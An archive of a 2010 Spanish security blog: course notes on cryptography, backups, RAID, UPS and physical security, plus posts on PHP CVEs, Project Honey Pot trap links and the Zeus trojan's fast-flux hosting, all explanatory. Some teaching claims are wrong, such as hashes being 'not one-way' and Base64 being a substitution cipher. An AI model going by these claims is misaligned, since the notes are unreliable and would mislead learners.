16 de noviembre de 2010

Gestión de dispositivos de almacenamiento II

Continuando con los apuntes dirigidos al “Módulo Profesional de Seguridad informática” (del FP.“Téc. Sist. Microinformáticos y Redes”), y como prometí en la entrada anterior seguimos.

Criptografía.


La criptografía es el proceso mediante el cual un texto en claro (o texto plano) pasa a ser un criptograma (o texto cifrado).

El arte de la criptografía ha sido usada desde la época de los griegos y romanos. Existen gran numero de cifrados de hecho cada uno de nosotros podríamos imaginar una técnica distinta para cifrar de forma simple texto o bytes.

Para simplificar vamos a dividir las técnicas en varios tipos:

  • Cifrado simétrico: Estos algoritmos hace uso de la misma clave para cifrar que para descifrar (DES o AES por ejemplo).

  • Cifrado asimétrico: Estos algoritmos hacen uso de dos claves, una pública y una privada. Con la clave privada se cifra el mensaje, con la clave pública se descifra el mensaje y viceversa (RSA por ejemplo).

  • Cifrado resumen: Con este cifrado realizamos un resumen del mensaje. Estos cifrados no son de una sola vía, es decir, no se puede obtener el texto original con el resumen (MD5 o SHA1 por ejemplo).

  • Esteganografía: Esta técnica permite ocultar un mensajes, dentro de un portador, de modo que no se conozca su existencia. Por ejemplo podríamos ocultar un texto usando una imagen como portador.

  • Firma digital: Esta técnica es usada para conseguir la integridad y no repudio de un documento. Se varias de las técnicas anteriores para realizar esta labor. Consiste en realizar un cifrado resumen al cual se le añade un cifrado asimétrico y se añade al documento. De este modo podemos saber quien es el propietario del documento (no repudio) y que el documento no ha sido modificado (integridad).


Si pensáis en un modo de cifrar un mensaje es muy posible que estés pensando en técnicas de transposición ( 'A'+n donde n es el desplazamiento ) o de sustitución ('A' = 'B' como pasa en Base64 por ejemplo).
Los cifrados por transposición o sustitución son fáciles de saltar usando técnicas de análisis de frecuencias. Esta técnica se basa en sustituir el símbolo que más a parezca por el carácter más común del lenguaje origen del texto.

Copias de seguridad e imágenes de respaldo.


Como ya comentamos en la introducción para una organización lo más importante son los datos, por ello, estos deben de mantenerse siempre a salvo.
Dado que es imposible garantizar que un disco no va a romperse es importante realizar copias de seguridad o backup de los datos y configuraciones de los sistemas.
Podemos diferenciar como realizamos el backup según el estado del disco:

  • Copia en frío: Las copias frías se llaman así porque se realizan con el disco duro sin uso, es decir no hay ningún fichero en uso. La mejor forma es hacerlo arrancando con otro sistema operativo Live (ya que corre en la memoria RAM) y copiar las particiones de los discos de forma completa tal cual están, sin ni siquiera acceder a los ficheros en sí. Este tipo de copias se usan habitualmente para realizar instalaciones típicas ya que no solo incluyen los datos sino que también el sistema y los programas.

  • Copia en caliente: Consiste en copiar los datos más importantes de un sistema, estando el sistema en uso.


Pero también podemos realizar una separación según lo que vallamos ha abarcar:

  • Copias totales: En este tipo de copias se copia la totalidad de los datos. Es similar a la copia en frío sin incluir el sistema.

  • Copias incrementales: Solo se copiaran los datos nuevos o modificados (Necesitamos una copia total inicial que sirva de referencia).

  • Copias diferenciales: Solo se copian las diferencias entre los ficheros (Necesitamos una copia total inicial que sirva de referencia). Se usan en programación como controladores de versiones.

Medios de almacenamiento


Los materiales físicos en donde se almacenan los datos se conocen como medios de almacenamiento o soportes de almacenamiento (disquetes, discos duros, CD, discos Zip, ...).

Los elementos donde se escriben o leen datos en los medios de almacenamiento se conocen como dispositivos o unidades de almacenamiento (disquetera, una unidad de disco óptico, ...).

El propósito de los dispositivos de almacenamiento es almacenar y recuperar la información de forma automática y eficiente.

Los medios de almacenamiento han evolucionado mucho, desde las tarjetas perforadas hasta los nuevos sistemas ópticos o basados en semiconductores.

Sistemas RAID


Raid son las siglas de Redundant Array of Independent Disks, "conjunto redundante de discos independientes", es decir, un conjunto de discos independientes que funcionan como uno.
Existen múltiples formatos RAID, así como combinaciones de varios. Cuando se crea un formato de RAID se busca mejorar la fiabilidad, capacidad o rendimiento es los dispositivos independientes.

Para no extendernos vamos a ver solo tres tipos de ellos.

  • RAID 0 ó volumen dividido:
    Distribuye los datos equitativamente entre dos o más discos sin información redundante (paridad, checksum, ... ). El RAID 0 se usa normalmente para incrementar el rendimiento. Una buena implementación de un RAID 0 dividirá las operaciones de lectura y escritura en bloques de igual tamaño, por lo que distribuirá la información equitativamente entre los dos discos.

  • RAID 1 o copia espejo:
    Un RAID 1 crea una copia exacta de los datos de un disco en varios. Esto es útil cuando el rendimiento en lectura es más importante que la capacidad, dado que la capacidad de este viene dado por el volumen más pequeño. Un RAID 1 puede estar leyendo simultáneamente dos datos diferentes en discos diferentes, por lo que su rendimiento se incrementa. También se usa en seguridad dado que existen menos posibilidades que falle el hardware.

  • RAID 5:
    Un RAID 5 usa división de datos a nivel de bloques distribuyendo la información de paridad entre todos los discos miembros. Generalmente, el RAID 5 se implementa con soporte hardware para el cálculo de la paridad. Gracias a la información de paridad en ocasiones se pueden reconstruir fallos de almacenamiento en bloques.

Programación de copias de seguridad


Dado que realizar copias de seguridad es algo muy importante para asegurar la información de la
organización, para facilitar esta labor, lo más cómodo es automatizarlo.
Cuando mantenemos un sistema lo más recomendable es combinar todas las técnicas de backup, buscando la optimización de recursos, así como el uso de los mismos.
TipoVelocidad. creaciónVelocidad. reparaciónSaturacion de red
TotalLentaRapidaAlta sat.
IncrementalRapidaLentaBaja sat.
DiferencialMediaMediaMedia sat.

Dado que cada organización tiene unos habitos de trabajo distintos, las horas en las que se realizarán las copias de respaldo puede cambiar.
Por ejemplo, podríamos hacer una copia fría del sistema cuando se modifica el kernel. Mensualmente realizar copias en caliente de tipo Total, y semanalmente copias incrementales o diferenciales, según la variación que se espere en los datos.

17 de octubre de 2010

LACON

LACON es una quedada de compañeros de seguridad informática. Una especie de congreso informál, pero con contenidos muy caldentes.

Este año ha sido genial, el nivel de las charlas muy alto y contenidos muy buenos e innovadores.

Algunas de las charlas las dieron compañeros de muchas empresas y blogs del sector.

Por poner algúnas de ellas:

  • Eloi de Riscure dió dos charlas muy chulas sobre seguridad en "smart cards".

  • Los compañeros de Taddong dieron una charla magistrál de telefonía GSM.

  • Joxean Koret dió uno taller practico sobre MyNav, un gran plugin para IDA.


Tras todas las charlas se votá a la mejor de ellas, en este año lo ganó Hugo Teso, un compañero de Hispasec Sistemas con una gran investigación (aún en proceso) que dejó ha los presentes impresionados.

Un fin de semana muy divertido donde volver a ver a compañeros y conocer a otros.

Gracias a los hermanos Santamarta por la gran organización.

8=====D

15 de septiembre de 2010

Proyectos para desarrolladores Android en GoogleCode

Ultimamente estoy bastante liado programando cosillas para Android, y el otro día me dio por buscar utilidades para desarrollo y APIs que pudieran venirme bien para hacer el proyecto en el que estoy metido.

Buscando cosas en "Google Code" proyectos libres de donde sacar algo de código he visto muchos proyectos interesante.

Este post no está orientado a programas para el telefono sinó para desarrolladores de software y/o hardware.

Emuladores de Android:


He visto varios emuladores para Android que nos permiten montar nuestras propias maquinar virtuales para que corran Android.

http://code.google.com/p/live-android/

http://code.google.com/p/android-x86/

http://code.google.com/p/android-pc/

Hardware develop:


Estos dos proyectos están enfocados a quien esté pensando hacer su propio cacharro con este SO.

http://code.google.com/p/magik/

http://code.google.com/p/0xdroid/

Ing. Inversa:


Estas utilidades ayudan a realizar un desempaquetado de un .apk para poder se analizado o editado.

http://code.google.com/p/dex-decomplier/

http://code.google.com/p/android-apktool/

Game Develop:


Existen multitud de librerías para crear tus propios juegos.

http://code.google.com/p/simple/

http://code.google.com/p/android-2d-engine/

http://code.google.com/p/candroidengine/

http://code.google.com/p/eadventure-android/ Este es un proyecto de la Universidad Complutense de Madrid llamado <e-Adventure> que parece bastante interesante

http://code.google.com/p/squeak-android-vm/ La primera vez que escuche sobre Squeak fue en la OSWC de extremadura. Este sistema estaba siendo usado en los PCs de 100$.

Librerias:


http://code.google.com/p/zxing/ Librería de procesamiento de códigos de barras.

http://code.google.com/p/libs-for-android/ Librearía con varias utilidades para no "picar" de más.

http://code.google.com/p/psqldroid/ Librería para PostgreSQL.

http://code.google.com/p/android-send-me-logs/ Esta librería te permite que te manden un mail con los logs del sistema si la aplicación falla.

http://code.google.com/p/acra/ Permite enviar los reportes de error a una cuenta de GoogleDocs.

http://code.google.com/p/sociallib/ Librerías para acceder a redes múltiples sociales.

Librearías para eBooks:


Incluso hay cosas para los libros electrónicos.

http://code.google.com/p/edgelibrarylib/

http://code.google.com/p/nookdevs/

Miscelanea:


http://code.google.com/p/androidemulatorcontroller/ Permite mover el (teléfono) emulador (Muy chulo).

http://code.google.com/p/linux-on-android/ Permite tener doble arranque es equipos pensados para correr Android.

Ejemplos para NDK:


http://code.google.com/p/android-ndk-stacktrace-analyzer/

http://code.google.com/p/androidndkgame/

1 de septiembre de 2010

Gestión de dispositivos de almacenamiento

He estado un poco liado y por eso todo este tiempo, pero bueno continuamos con los apuntes dirigidos al “Módulo Profesional de Seguridad informática” que pertenece a el FP. de grado medio de “Técnico en Sistemas Microinformáticos y Redes”.

Vamos a continuar con un nuevo apartado.

Gestión de dispositivos de almacenamiento


Como con cualquier equipo los sistemas/dispositivos de alamacenamiento han de ser mantenidos por los trabajadores. Dado que son estos dispositivos los encargados de almacenar la información tenemos que tener en cuenta nuestras necesidades para saber que dispositivo es el más adecuado a nuestras necesidades.

Almacenamiento de la información: rendimiento, disponibilidad, accesibilidad.


Cuando estamos diseñando un sistema de almacenamiento tenemos que pensar para que uso va a ser destinado, ya que dependiendo de esto los requerimientos los equipos y dispositivos que necesitaremos serán distintos.

Por ejemplo un sistema encargado de servir páginas web estaticas no necesitará el mismo dispositivo de almacenamiento que un equipo encargado de gestinar una base de datos.

  • Rendimiento: Cuando hablamos de rendimiento de un sistema de almacenamiento nos referimos a la relación 'velocidad de lectura'/'tamaño de almacenamiento'. El rendimiento depende de las limitaciones mecánicas, eléctricas y de la carga de E/S. Algunos dispositivos modifican su rendimiento con el uso de los mismos.

  • Disponibilidad: La disponibilidad de un sistema de almacenamiento es la facultad del mismo por ser accesible en cualquier momento.

  • Accesibilidad: La accesibilidad de un sistema de almacenamiento hace referencia al mecanismo por la cual podemos tener acceso al disco. Podemos usar distintos protocolos que nos permiten tener acceso a un disco bien sea local o externo.


Estos factores dependen de los dispositivos, del bus de datos y de la tecnología en general.

Almacenamiento redundante y distribuido.



Nos referimos a almacenamiento redundante cuando los datos del dispositivo se encuentran replicados en otro. Lo más importante en la redundancia en los datos es que ambos discos se encuentren sincronizados, de forma que ambos tengan la misma información.

Los sistemas de almacenamiento distribuido se basan en separar la información de un fichero en distintos dispositivos. De este modo cuando se quiere leer un fichero el tiempo empleado para recuperar el fichero es menor dado que todas las partes llegan a la vez por distintos buses y/o puertos.

El almacenamiento distribuido es habitual en sistemas de cluster. Estos sistemas forman una red de nodos de tal modo que la información se encuentra repartida en distintos equipos y/o dispositivos.

La tecnología SAN (storage area network) está basada en el almacenamiento distribuido, pero permite accesos a bajo nivel.

Almacenamiento remoto y extraíble.



Cuando hablamos de almacenamiento remoto nos referimos a que el dispositivo donde se almacena la información no se encuentra en la máquina local. Hoy en día existen muchos servicios de almacenamiento remoto.

Las tecnología NAS (inglés Network Attached Storage) es un claro ejemplo de almacenamiento remoto, dado que estos sistemas permiten acceder a un disco situado en la red por protocolos como SMB, SFTP, FTP, ... .

Los métodos de almacenamiento extraíbles son sistemas de almacenamiento que se pueden conectar y desconectar de un sistema en caliente (si estar apagado el sistema).

Los dispositivos extraíbles se conectan al sistema por buses como USB o Firewire entre otros.

----
En el proximo capitulo de este tutorial, continuaremos será:
-Criptografía.
-Copias de seguridad e imágenes de respaldo.
-Medios de almacenamiento.
-Sistemas RAID.
-Programación de copias de seguridad.

11 de agosto de 2010

Regreso desde las JLA

Este fin de semana han sido las Jornadas Lúdico Andaluzas o JLA en Maracena.

Las jornadas se realizaron en un colegio de la zona. El lugar tenía varias zonas:

- Zona de acampada. En los alrededores de la guardería.

- Zona de organización y juegos. (La guardería) Esta zona constaba con stands de tiendas e informador, una habitación de consolas y varias  salas para jugar.

- Dormitorio. Se habilitó un pabellón cubierto para quienes no tenían tiendas.

- Campo de fútbol.

- Zona de carpas. Junto al colegio principal, tenía multitud de mesas para jugar a diversos juegos.

- Colegio. En el colegio se alojaban la organización y las asociaciones que colaboraban.

Desde el jueves al domingo se realizaron todo tipo de juegos, torneos y vivos.

El jueves estuve organizando todo y echando varias partidas a juegos de cartas.

El viernes por la mañana toco ir de compras y por la tarde torneo de StarWars, que duró hasta la madrugada del sábado, y me lo pasé genial.

El sábado por la mañana torneo de 7ºmar y por la tarde campeonato de Wii tenis, que gané, luego un concurso de "antonio carlos"(un niño que salía en el programa "gente con chispa", le ponía unos auriculares con música y tenía que intentar cantarla para que los concursantes la acierten), jugando a las cartas y por último una partida de rol (interpretativa, sin dados) improvisada.

El domingo la final de 7ºmar y a recoger, comimos en casa de un amigo y para casa.

Las próximas jornadas prometen, sobre todo porque el colegio se encontraba en obras y el año próximo serán mejores si cabe.

29 de julio de 2010

Nuevas versiones de PHP solucionan varios fallos de seguridad

Se han publicado recientemente nuevas versiones de PHP (versiones 5.2.14 y 5.3.3) que solucionan múltiples problemas de seguridad, que podrían permitir evitar restricciones de seguridad, provocar denegaciones de servicio, obtener información sensible o comprometer los sistemas afectados.

PHP es un lenguaje interpretado de propósito general ampliamente usado, que está diseñado para desarrollo web y puede ser embebido dentro de código HTML. PHP está orientado a la creación de páginas web dinámicas, ejecutándose en un servidor web (server-side scripting), de forma que primero se toma el código en PHP como entrada y se devuelven las páginas web como salida.

Los fallos están relacionados con errores de diseño, desbordamientos de búfer, errores de validación de entradas, y afectan a funciones como "shm_put_var()", XOR operator, "ArrayObject::uasort()", "parse_str()", "pack()", "strchr()", "strstr()", "substr()", "chunk_split()", "strtok()", "addcslashes()", "str_repeat()", "trim()", "addcslashes()", "fnmatch()", "substr_replace()", extensión sqlite, extensión phar, "mysqlnd_list_fields", "mysqlnd_change_user" y mysqlnd.

De todos estos errores sólo se han asignado cuatro CVEs. Dos comunes en ambas versiones y uno específico para cada una de ellas; un total de tres fallos (con CVE asignado) por versión.

CVE-2010-2225:
Esta vulnerabilidad fue anunciada en la conferencia SyScan'10 de Singapore y posteriormente publicada en "el mes de los fallos en PHP". Este fallo se provoca cuando se llama a la función "unserialize" con un objeto "SplObjectStorage". La función "unserialize" no filtra adecuadamente los datos al cargar el objeto. Esto podría permitir a un atacante remoto ejecutar código arbitrario y obtener información sensible. Para la versión 5.2.x solo son vulnerables la versiones de 32 bits. El impacto puede mitigarse con el módulo "Suhosin" pero sigue
siendo vulnerable.

CVE-2010-0397:
Este error había sido publicado por Debian en marzo. Es causado por no procesar correctamente los datos del primer parámetro de la función "xmlrpc_decode_request". Este error en el módulo "xmlrpc" puede provocar una referencia a puntero nulo. Un atacante remoto podría aprovechar este fallo para causar una denegación de servicio a través de una llamada a "xmlrpc_decode_request" especialmente manipulada. Existe una prueba de concepto que permite explotar esta vulnerabilidad.

En la versión 5.3.3 se ha solucionado un error (CVE-2010-2531) en la función "var_export" que podría permitir la fuga de información si ocurre un error grave. El fallo se debe a que los datos se van imprimiendo durante el transcurso de la función en vez de esperar al final para imprimir todo el contenido. Para solucionar esto se ha creado una variable de tipo "smart_str" donde se aloja el texto para imprimirlo tras comprobar que no hay errores.

En la versión 5.2.14 se ha solucionado un error (CVE-2010-2484) en la función "strrchr". Esta función no valida correctamente el valor del parámetro "$haystack". Un atacante remoto podría utilizar esto para obtener información de la memoria.

Las nuevas versiones se encuentran disponibles para descarga desde:

http://www.php.net/downloads.php

Referencias:

PHP Released:
http://www.php.net/archive/2010.php

Info sobre CVE-2010-2225:
http://www.php-security.org/2010/06/25/mops-2010-061-php-splobjectstorage-deserialization-use-after-free-vulnerability/index.html
http://svn.php.net/viewvc?view=revision&revision=300843
https://bugzilla.redhat.com/show_bug.cgi?id=605641

Info sobre CVE-2010-0397:
http://bugs.debian.org/573573
http://bugs.php.net/51288

Info sobre CVE-2010-2531:
http://svn.php.net/viewvc?view=revision&revision=301143

Info sobre CVE-2010-2484:
http://svn.php.net/viewvc?view=revision&revision=300916

27 de julio de 2010

Sistemas de alimentación ininterrumpida

Ya estamos en el último apartado de "Aplicación de medidas de seguridad pasiva" de estos apuntes de dirigidos para el "Módulo Profesional de Seguridad informática" que pertenece a el FP. de grado medio de "Técnico en Sistemas Microinformáticos y Redes".

El punto anterior a este apartado es "Ubicación y protección física de los equipos y servidores".

Sistemas de alimentación ininterrumpida.


Para que los sistemas informáticos funcionen adecuadamente es necesario que la alimentación eléctrica sea correcta. La corriente eléctrica tiene fluctuaciones que pueden afectar a los sistemas electrónicos.

Cada equipo dependiendo de su función tendrá distintas características de alimentación électrica. Es lógico pensar que un equipo compuesto por diez discos duros necesitará más potencia que un equipo de procesado o que un switch de red. Por tanto tendremos que saber que necesidades eléctricas necesita cada equipo, para ello consultaremos el manual de cada elemento de un equipo y haremos la suma de potencias.

Es recomendable que las fuentes de alimentación sean superiores a la suma de potencias, de este modo la fuente trabajará en mejores condiciones y evitaremos riesgos. En algunos servidores en normal ver fuentes de alimentación duplicadas, para evitar que fallen.

En la corriente eléctrica convencional podemos encontrar fenomenos adversos tales como:

  • Sobretensión/Picos de tensión.

  • La sobretensión abarca una gran variedad de fenómenos, pero todos implican el agotamiento de los transportadores de carga en la superficie del electrodo. Esto quiere decir que la tensión en bornas del enchufe sube por encima del 110% de la tensión habitual.
  • Caída de tensión.

  • Se provoca por cambios en la resistencia de la red eléctrica. Para que este efecto sea relevante la tensión ha de estar sobre el 80% de la tensión habitual.
  • Ruido eléctrico.

  • Se denomina ruido eléctrico o interferencias a todas aquellas señales, de origen eléctrico, no deseadas y unidas a la señal principal, de manera que la alteran el comportamiento normal de la señal produciendo efectos perjudiciales. Pueden producirse por efectos de inducción entre cables.

Como todos sabemos las empresas suministradoras de corriente no aseguran su suministro durante las 24 horas los 365 días, por tanto, es esperable que en algún momento falle el suministro.

Los sistemas de alimentación ininterrumpida son conocidos como SAIs o UPSs por sus siglas en castellano e ingles respectivamente.
Son elementos con la propiedad de ser activos encargados de alimentar a los sistemas conectados a ellos. Se sitúan entre la fuente de alimentación de los equipos y la red eléctrica. Algunos de ellos posen soporte para apagar los equipos de forma correcta si fuera necesario.

Es tan importante tener los equipos informáticos conectados a un SAI como los sistemas de red, ya que si se falla el suministro eléctrico y se pierde la conectividad con los equipos es igual que si estos estuvieran apagados.

Los equipos SAI se componen de varias partes:

  • Rectificador:

  • Este elemento permite convertir la corriente alterna procedente de la red eléctrica convencional a corriente continua. Esto es posible gracias a el uso de diodos rectificadores.
  • Inversor:

  • Este elemento opera de forma opuesta al rectificador, convierte la corriente continua procedente de la batería o del rectificador a corriente alterna con los valores de frecuencia, tensión y corriente deseados. A diferencia del rectificador la electrónica de este elemento es bastante compleja.
  • Batería:

  • Una batería es un acumulador eléctrico. Almacenamos la energía eléctrica que proviene del rectificador para poder usarla cuando sea necesario. Las baterías eléctricas son fabricada de distintas maneras según las necesidades:

    TipoEnergía/ pesoTensión (V)Duración
    (nun. recargas)
    Tiempo de cargaAuto-descarga
    por mes (% del total)
    Plomo30-50 Wh/kg2 V10008-16h5 %
    Ni-Cd48-80 Wh/kg1,25 V50010-14h *30%
    Ni-Mh60-120 Wh/kg1,25 V10002h-4h *20 %
    Li-ion110-160 Wh/kg3,16 V40002h-4h25 %
    Li-Po100-130 Wh/kg3,7 V50001h-1,5h10%
Otra manera de prevenir los cortes de alimentación es usar líneas redundantes de alimentación, a ser posible con diferentes origenes, es decir, que la energía provenga de subestaciones distintas, o fuentes renovables; esto protegerá ante la caída en una de las dos subestaciones.

Es habitual que los CPDs con muchas máquinas tengan sus propios generadores (de gasolina) eléctricos para caso de la caída del suministro eléctrico general. En un futuro los generadores de gasolina podrían sustituirse por generadores con hidrógeno o biomasas.

23 de julio de 2010

Ubicación y protección física de los equipos y servidores

Continuamos en el apartado de "Aplicación de medidas de seguridad pasiva" de estos apuntes de dirigidos para el "Módulo Profesional de Seguridad informática" que pertenece a el FP. de grado medio de "Técnico en Sistemas Microinformáticos y Redes".

Ubicación y protección física de los equipos y servidores


Los incidentes de tipo físico se pueden dividir en dos tipos básicos.

  • Incidentes Naturales: Incendios, inundaciones, temperatura, alimentación eléctrica, ... .

  • Incidentes Humanos: Robos, fraudes, sabotajes, ... .


Para minimizar el impacto de un posible problema físico tendremos que imponer condiciones de seguridad para los equipos y sistemas de la organización. Por otra lado para que los equipos informáticos funcionen correctamente deben de encontrarse en bajo ciertas condicines.

Como es lógico pensar no todos los equipos informáticos de una organización tiene el mismo valor. Para poder tener una buena seguridad debemos saber que equipos y datos son más importantes para la organización. Ej. Un sevidor y un puesto de trabajo no tendrán las mismas medidas de seguridad, ni fisicas ni lógicas.

Los servidores dado que su funcionamiento ha de ser continuo deben de situarse en un lugar que cumpla las condiciones optimas para el funcionamiento de estos.

Para asegurar los sistemas y equipos que han de mantenerse siempre operativos se crean lugares que se conocen como "Centro de Procesamiento de Datos" o por sus siglas CPD.
Para poder asegurar un CPD lo primero que debemos hacer es asegurar el recinto con medidas de seguridad física.

  • Sistemas contra incendios.

  • Existen varios tipos de sistemas de extinción de incendios, como: extracción de oxigeno, inserción de gases nobles o extintores especiales que eviten el riesgo de electrocución.

    Es importante intentar evitar los sistemas contra incendios que usen materiales conductores, dado que, de lo contrario pueden perderse datos de los dispositivos.
  • Sistemas de control de acceso.

    • Sistemas de Llaves (tradicionales).

    • Sistemas de contraseña.

    • Estos sistemas son los más usados por si simplicidad de uso y bajo coste. En estos tipos de sistemas se ha de establecer politicas de contraseñas. Por tanto la organización que implemente un sistema de contraseña tendrá que indicar a sus usuarios con que periodicidad son cambiadas y que caracteristicas tienen que tener para ser seguras. Sobre las politicas de contraseñas hablaremos más adelante.
    • Sistemas Targeta manética.

    • Estos sistemas se componen de una targeta con una banda magnética que contiene un código para acceder.
    • Sistemas RFID:

    • Son las siglas de identicicación por radio frecuencia en Ingles (Radio Frequency IDentification), estos sistemas se componen de un elemento que reacciona ante una señal, devolviendo un resultado. Existen dispositivos RFID con identificadores únicos certificados por la casa de la moneda.
    • Sistemas de Token.

    • Un sistema de token se compone de un elemento movil llamado "Token" que genera claves aleatorias, para poder funcionar correctamente el token ha de estar sincronizado con el sistema de acceso. Para poder acceder el usuario ha de insertar la clave generada por el token en el sistema, este generará una clave usando el mismo algoritmo y la comparará. Actualmente se están usando sistemas de "Token" mediante el envío de un sms.
    • Sistemas Biométricos.

    • Son sistemas que otorgan acceso mediante la identificación por elementos fisicos de cada indibiduo, vease iris del ojo, huellas dactilares, voz, sistema de venas palmares, u otros rasgos unicos. Este tipos de sistemas son más complejos para ser saltados dado es muy complejo copiar este tipo de datos.


  • Sistemas de control de temperatura.

  • Para que los sistemas informáticos funcionen correctamente los elementos físicos de los mismos han de encontrase a ciertas temperaturas.

    Debido a que los equipos infomáticos funcionan mediante semiconductores se tienen que mantener entre cierto valores de temparatura, de lo contrario los semiconductores pierden sus propiedades y dejan de funcionar adecuadamente. La temperatura adecuada de un CPD no debe de superar los 30º.

En el siguiente post veremos más información sobre las necesidades eléctricas de los CPDs.

21 de julio de 2010

Aplicación de medidas de seguridad pasiva

Como ultimamente no encuentro nada sobre lo que escribir he decidido hacer unos apuntes sobre seguridad informática.

Estos apuntes están dirigidos para el "Módulo Profesional de Seguridad informática" con "Código 0226". Este modulo pertenece a el FP. de grado medio de "Técnico en Sistemas Microinformáticos y Redes" y podéis obtener más información en formato pdf del boe y en formato web de juridicas. Dado que se diferencian ambos texto realizaré una mezcla según mejor me venga.

Estos apuntes están pensados para servir de guia y tratan de cumplir los criterios de evaluación de esta signatura.

Introducción


Para una organización la información es su mayor valor. Sin información las organizaciones no pueden funcionar o funcionan con serios problemas, es por tanto de vital importancia asegurar estos datos para evitar filtraciones, perdidas, etc.

Cuando nos encontramos en un entorno de red, todos los sistemas se encuentran interconectados, por tanto, un ataque a uno de ellos puede afectar al resto.

Dado que es la información un bien preciado para las organizaciones tenemos que asegurarnos que ante un incidente tenemos todos o el mayor numero de recursos y procedimientos que eviten una catástrofe aun mayor. Lo más importante para una empresa es que ante un incidente el problema se solucione lo antes posible. Para un encargado de seguridad la mayor preocupación deber ser minimizar las posibilidades de un incidente así como su impacto.

Para facilitar el trabajo de análisis de la seguridad podemos dividir la labor en distintas partes según queramos enfocar y/o abarcar la labor de asegurar nuestros sistemas.

Si dividimos el problema dependiendo del comportamiento de los elementos que actúan sobre los sistemas podremos diferenciar entre:

  • Seguridad Pasiva: Al igual que ocurre en la automoción, son elementos de seguridad pasiva todos aquellos elementos que minimizan el impacto de un accidente o incidencia.

  • Seguridad Activa: Nos referimos a seguridad activa cuando hablamos de elementos que evitan de forma proactiva las incidencia. En caso de detectar un incidente genera un evento para evitar el problema.


Podemos dividir de igual modo según desde un plano material:

  • Seguridad Física: Es la encargada de asegurar los equipos y sistemas necesarios para que el acceso (físico) solo se realice por personal autorizado. Es la seguridad desde un punto de vista Hardware.

  • Seguridad Lógica: Es la encargada de asegurar los procesos y aplicación necesarios para que el acceso (lógico) a los datos se realice solo por el personal autorizado. Es la seguridad desde un punto de vista Software.


Dado el funcionamiento de los sistemas actuales de información, la mayor parte de los sistemas de seguridad física son elementos pasivos, del mismo modo que la seguridad lógica es principalmente seguridad activa, aunque no es necesariamente siempre así.

15 de julio de 2010

Proyecto Honeypot

Con el termino Honeypot (Tarro de miel) hacemos referencia a un sistema preparado para simunar una aplicación o sistema vulnerable, facil de explotar. La idea es atraer atacantes a este sistema para poder ver que hacen; de este modo podemos conocer el "modu soperandi".

El proyecto Honepot no solo analiza "tarros de miel", sino que también analiza Darknets (redes oscuras), es decir, redes en las cuales no debería existir ningún trafico, o el trafico solo debe ser privado, bien porque no hay servicios en ellas y ellas no acceden a servicios, bien porque son redes coorporativas que no tienen uso desde el internet global.

IANA es la organización encargada en distribuir las IPs en el mundo.

Una darknet sería, por ejemplo, el rango de IPs "179/8", ya que no están en uso y por tanto no debería nadie de acceder a esta red, sin embargo, existen automatismo que no comprueban esto, e intentan explotar todas las IPs que encuentren accediendo a sitios que no son conocidos o públicos.

Por ejemplo si una empresa de hosting piene 100 IPs de las cuales 50 no están en uso no debería recibir comunicación alguna con estas IPs. Del mismo modo si nosotros tenemos una web "ejemplo.com" con un subdominio "honey.ejemplo.com" pero esta url no es pública, sería lógico pensar que nadie puede obtener esta dirección y por tanto solo nosotros accederemos a este equipo, pero esta dirección puede ser recogida por malware, servidores DNSs, ... y por tanto pude ser accedida por alguien no autorizado.

Para colaborar con el proyecto Honeypot podemos poner nuestro propio "enlace oscuro". Yo he instalado uno, el un subominio y para que los robots y sistemas automatizados accedan a ellos tenemos que realizar algún truco que oculte estas direcciones a todo aquel que no sea una máquina.

Por ejemplo:
<a href="http://hp.rollanwar.net/feverishvirgin.php"><!-- awestruck-mosaic --></a>
<a href="http://hp.rollanwar.net/feverishvirgin.php"><img src="awestruck-mosaic.gif" height="1" width="1" border="0"></a>
<a href="http://hp.rollanwar.net/feverishvirgin.php" style="display: none;">awestruck-mosaic</a>
<div style="display: none;"><a href="http://hp.rollanwar.net/feverishvirgin.php">awestruck-mosaic</a></div>
<a href="http://hp.rollanwar.net/feverishvirgin.php"></a>
<!-- <a href="http://hp.rollanwar.net/feverishvirgin.php">awestruck-mosaic</a> -->
<div style="position: absolute; top: -250px; left: -250px;"><a href="http://hp.rollanwar.net/feverishvirgin.php">awestruck-mosaic</a></div>
<a href="http://hp.rollanwar.net/feverishvirgin.php"><span style="display: none;">awestruck-mosaic</span></a>
<a href="http://hp.rollanwar.net/feverishvirgin.php"><div style="height: 0px; width: 0px;"></div></a>

Todos estos enlaces no son vistos por un usuario normal, por tanto quien acceda desde un navegador web no verá nada, sin embargo los robots analizan este código y siguen el enlace. De este modos podemos recopilar direcciones de robots y posibles ataques automáticos.

También podemos donar servidores de correo.

De este modo podemos crear una dirección de correo como "aversicaes@mail.rollanwar.net" o cualquier otra cullo fin es recibir correo no deseado, dado que esta dirección no existe. Cuando donamos un servidor de correo este aceptará todos los correos.

Más Info:
http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml

Stop Spam Harvesters, Join Project Honey Pot

10 de julio de 2010

Publicada la Ley sobre ataque informáticos

Como ya comenté hace tiempo en el post "Los ataques informaticos serán delito" en España se pondrán límites a los accesos informáticos con fines de atacar a sistemas.

Esta ley que viene impulsada por la Unión Europea ya ha sido publicada en el BOE (Boletín oficial del estado) y entrará en vigor en Diciembre de este año.

Dado que ya hablamos de esta Ley anteriormente no voy a repetirme, pero quienes estén interesados en saber más pueden ver el siguiente post del Blog "Del derecho y las normas" de David Maeztu.

22 de junio de 2010

Zeus ataca al Banco de España

Tras haber hablado de los CERTs de España, vamos a ver un caso de un phishing contra el Banco de España, distribuido por numeroso spam recientemente.

Se trata de un troyano Zeus o Zbot, este troyano tiene un comportamiento bastante avanzado.

Zeus se trata de un troyano que se vende en kit, es decir, que cualquiera que pague por él (en el mercado negro) puede crear su propia infraestructura de ordenadores zombis.

Este troyano del que existen varias versiones, implementa técnicas como: rootkit, cifrado de contenido,explotación de vulnerabilidades de todo tipo, detección de sandboxes ...

Este troyano en particular se distribuye usando su propia red de equipos zombis para alojarse. Para poder hacer esto hace uso de una técnica conocida como "fastflux".
Para realizar esta técnica tendrémos que tener un dominio y un servidor DNS que nos permita asociar muchas ips a este dominio.
Este servidor DNS, tiene un comportamiento peculiar, cada vez que recibe una petición de resolución devuelve como respuesta un ip elegida de forma aleatoria.

De este modo se puede hacer que un equipo troyanizado forme parte de una red de servidores, con la utilidad de servir malware, actualizaciones, y cualquier otra cosa a el resto de equipos infectados, creando una red muy entramada de miles de equipos.

Ahora la pregunta que todos os haréis, ¿como acabo con este tipo de redes?. Como supondréis eliminar este tipo de redes es arduo difícil.

